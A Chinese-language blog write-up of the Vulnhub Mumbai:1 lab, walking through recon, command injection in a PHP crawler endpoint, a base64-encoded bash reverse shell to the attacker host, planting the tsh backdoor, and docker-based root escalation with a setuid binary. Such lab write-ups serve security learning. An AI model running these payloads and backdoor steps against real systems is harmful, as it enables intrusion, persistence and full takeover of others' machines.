Mumbai-1 Vulnhub Write-up

awonwon
浦島太郎的水族缸
14 min readJan 19, 2020

此文為 Vulnhub 中的 Mumbai:1 的 Write-up,邊看這篇文章[8]邊做練習,以下四階段撰寫滲透過程:

  1. Recon
  2. Exploiting
  3. Post Exploitation
  4. Privilege Escalation

一、Recon

nmap

筆者使用 Virtual Box 設定此 VM 為 NAT Network,預設會在 10.10.10.0/24 的網段,使用 nmap 找一下目標 IP 與有開放的 Port:

$ nmap -sT 10.10.10.0/24

掃 port 的選項,使用 -sT ,常見的選項有以下:

  • sT:最基本的 TCP 三方交握完成才算確定 port 有開 [1]
  • Pn:適合用在有防火牆境況下,主機的 port 可能不會回應 ping 的訊息,但其實是有開的,譬如 VM 使用 Host-Only Network 的時候,使用 sT 是找不到的 windows host 的 port ,但其實因為防火牆問題,改用 Pn 就可以掃到
  • vv:顯示詳細的訊息

由 namp 結果可以知道 10.10.10.6 是目標主機,開了主要的 21, 22, 80, 8000 port,一個個來檢查看看

WEB 80 Port

$ curl 'http://10.10.10.6' | html2text | less

嗯嗯,看起來公事中。

WEB 8000 Port

$ curl 'http://10.10.10.6:8000' | html2text | less

嗯嗯,這個也在公事中。

3. FTP 22 Port

$ ftp 10.10.10.6

如果沒有密碼的話,可以使用 anonymous 帳號,看看訪客是否可登入

Name (10.10.10.6:awon): anonymous
password: no

如果登入後下指令遇到以下 bind 的問題:

ftp> ls
500 Illegal PORT command.
ftp: bind: Address already in use

可以 FTP 連線時加上 -p使用 passive 被動模式試試看,FTP 的連線分為主動式與被動式,一般來說都是主動式連線,可能是因為當時筆者 Client 端防火牆的問題,導致需要被動模式,而被動式是由 Client 端向 Server 端發起連線,FTP Server 預設會隨機個 Port 建立被動式連線,所以也會影響 Server 端的防火牆唷~ [2]

好,FTP 上可以看到唯一的檔案是 Note,載下來看一下內容

猜測大概是他會把 Web Server 虛擬化,放到 Docker Container,權限設定要注意等,但是這些比對 Web Port 看起來都還沒完成。

Dirb

$ dirb 'http://10.10.10.6'
$ dirb 'http://10.10.10.6:8000'

既然是 php 網站的話,可以針對 .php 結尾的網址嘗試,順便下了 txtpy 的副檔名檢查看看

dirb 'http://10.10.10.6' -X .php,.txt,.py
dirb 'http://10.10.10.6:8000' -X .php,.txt,.py
遮起來的是後來放的 web shell,所以可以忽略

掃過之後,我們可以看得出以下兩個站的狀況:

  1. 80 port 看起來有 wordpress
  2. 8000 port 有 .bashrc.bash_historykeywords.pytest.php

二、Exploiting

看來可以先從 8000 port 的站來找漏洞,檢查一下這四個檔案:

  1. bash 相關的設定檔沒有甚麼可利用的地方
  2. test.php 看起來是需要輸入網址的 API
$ curl -vvv 'http://10.10.10.6:8000/test.php' -w "\n"
#=> w option 是希望在 output 最尾端加上 \n,才不會跟下一列 input 擠在一起

3. keywords.py

直接顯示檔案原始碼,載回來看一下

從 main 進入點來看,猜測應該是一隻爬蟲程式,輸入 query 參數,就會爬對應的 html

parser = argparse.ArgumentParser()parser.add_argument("--query", help="Site to crawl for keywords.", type=str)args = parser.parse_args()url = args.query

猜測整個站的流程應該是:

  1. 訪問 test.php,傳入目標網址
  2. test.php 執行 keywords.py,將目標網址帶給爬蟲程式,分析關鍵字
  3. keywords.py 回傳結果,直接輸出在網頁上

那就來試試看 test.php 吧!

帶上範例說明的網址:

curl -vvv -X POST 'http://10.10.10.6:8000/test.php' -w "\n" --data-urlencode 'query=https://caffeinatedengineers.com'

API 有正常執行,那 php 通常要如何去執行程式,最簡單的是使用 exec("your_command") 來達成,所以猜想也許是有 Command Injection 的問題,加個分號檢查看看:

curl -vvv -X POST 'http://10.10.10.6:8000/test.php' -w "\n" --data-urlencode 'query=https://caffeinatedengineers.com;ls'
遮起來的是後來放的 web shell,所以可以忽略

哦哦出現了!很棒!看起來甚麼字串都沒有過濾,來看一下 API原始碼:

curl -vvv -X POST 'http://10.10.10.6:8000/test.php' -w "\n" --data-urlencode 'query=;cat test.php'

此 Command Injection 不是使用 exec() ,而是使用 passthru() [3],執行指令並把 stdout 完整輸出。

確定漏洞限制後(剛好其實沒什麼限制)接著要來拿 Reverse shell 。

三、Post Exploitation

接下來要製造一個 Shell,連到自己機器上更易於操作,基本上流程就是開啟 socket 連線,開好對應的 port,讓受害主機連上或自行連上受害主機,筆者嘗試了兩種做法:

  1. 使用 nc 接收 socket 連線
  2. 使用 tsh (tiny shell) [4]

比較推薦使用 tsh ,除了加密連線外,可以設定從內部主動連線出來並設定 retry,譬如有防火牆 rule 有限定 in 的規則,就可以試試看,更詳細的設定可以參考此篇文章[5],筆者會先使用 nc 取得 Reverse shell,再將 tsh 放入主機中。

用 socket 連線到目標的方式有很多種,可以參考此篇 cheatsheet[6],如果可以用 python、php、perl 等其他語言也是可以的,以下使用 bash 指令建立,並指定預設要連上的 ip 與 port

bash -i >& /dev/tcp/10.10.10.5/9870 0>&1

題外話:既然接收端也使用 nc ,為甚麼不直接使用 nc 連線到自己的 shell 呢?像是這樣:

nc -v 10.10.10.6 9870 -e /bin/bash

原因是不是每個 nc 的發行版本都有 e option,大多數是沒有的。

接著把剛剛的 bash 指令寫成 shellscript 並丟到主機中

bash 指令經過 base64 編碼,而這是為了避免 shell 跳脫字元與 WAF 的問題,寫檔時,再將 base64 string decode 後,將內容輸出至 test2.sh 中。

$ echo 'bash -i >& /dev/tcp/10.10.10.5/9870 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC41Lzk4NzAgMD4mMQo=
$ curl -X POST 'http://10.10.10.6:8000/test.php' -w "\n" --data-urlencode 'query=;echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC41Lzk4NzAgMD4mMQo=" | base64 -d > test2.sh;cat test2.sh'

確定 shell script 內容沒問題後,就嘗試來連連看吧!

控制方先開啟自己的 port 並 listen 等待:

$ nc -lvp 9870
listening on [any] 9870 ...

目標主機上則是使用 bash 執行剛剛的 shell script 檔

curl 'http://10.10.10.6:8000/shell.php?a=/bin/bash test.sh'

太好了~控制方就連上囉!

再來將 tsh clone 下來,編輯 tsh.h 檔案中的 secret ,註解特定設定自動反連的機制,因為筆者沒用到,但如果連不到目標 IP,需要從內部直連外部IP,就可以使用

#ifndef _TSH_H#define _TSH_Hchar *secret = "secret";#define SERVER_PORT 7788#define FAKE_PROC_NAME "/bin/bash"//#define CONNECT_BACK_HOST  "10.10.10.5"//#define CONNECT_BACK_DELAY 30#define GET_FILE 1#define PUT_FILE 2#define RUNSHELL 3#endif /* tsh.h */

接著編譯專案,產生出兩個主要檔案:

  1. tshd:受害目標使用的連線 binary
  2. tsh: client 連線的 binary

編譯好後,把 tshd 傳到受害目標主機上,可以在目標主機上使用 wget 抓檔案或是使用 nc 傳送檔案,以下使用 nc 把 tshd 傳上去,中斷結束後,檢查一下檔案大小是否正確

現在要在目標主機上跑 tshd ,不過一開始這個檔案是沒有執行權限的,給他一個權限跑起來!!動起來!!

題外話:一直要加上 /bin 很煩的話,可以改個 PATH 變數,這樣就不用多打字了

PATH=/bin:/usr/bin:$PATH

看起來有 bash shell 在背景執行了~

控制端連線成功

$ ./tsh 10.10.10.6

取得 reverse shell 後,來慢慢逛系統囉!

四、Privilege Escalation

關於提權的部分,檢查的方向如下:

  1. 先從有沒有可以提權的檔案或指令
  2. 可否製造出提權的檔案
  3. 最後不得已才是用 os exploit,萬一用不好,系統炸掉太明顯了 QQ

檢查目前的身分權限與群組

$ id
$ sudo -l

確定 docker 可以用,另外尋找有 SUID 的檔案[7],此種檔案可以在執行時使用 ROOT 權限,檢查是否有合適能拿來利用提權的檔案。

$ find / -perm -u=s 2>/dev/null

嗯...看起來沒什麼可以用的,那就利用 docker 來自己寫個提權檔案吧!

在 tmp 資料夾,建立一個提權的 c program,並編譯後執行看看沒問題就可以到下一步了:

$ cat <<"EOF" > p.c
#include<stdio.h>
#include<sys/types.h>
int main(void) {
setuid(0);
seteuid(0);
system("/bin/bash");
return 0;
}
EOF
$ gcc p.c -o rs
$ ./rs

會先做也是因為這個 docker image 內並沒有 gcc,所以要在 host 先編譯好,再去啟動docker container。

看一下目前主機上有哪些 docker image 或 container:

已經有現成的 ubuntu image了,這樣也不需要 pull 新的 image

docker run  -it  -v /tmp/vic:/tmp ubuntu:14.04 bash

啟動一個 ubuntu 的 container,並且將 host 的 tmp/vic 資料夾掛載到 container 的 tmp 資料夾,加上 it 代表使用 bash 進去 container,預設進去都是 root 身分的權限

確認掛載的資料夾有剛剛編譯好的檔案:

提權的最後一哩路,來吧!!將檔案擁有者設定為 root 且別人有 set uid 的權限

$ chown root:root rs
$ chmod +s rs

在 host 看到的檔案狀態:

執行 rs binary 後:

ROOT 就拿到啦!

另外還有不同的提權方法:

  1. 覆寫 /etc/crontab,指定 root 帳號執行想要的指令
  2. 覆寫 root 的 .ssh/authorized_keys ,將自己的 public key 加進去
echo "ssh-rsa $public_key $public_key_name" >>> $HOME/.ssh/authorized_keys

參考

--

--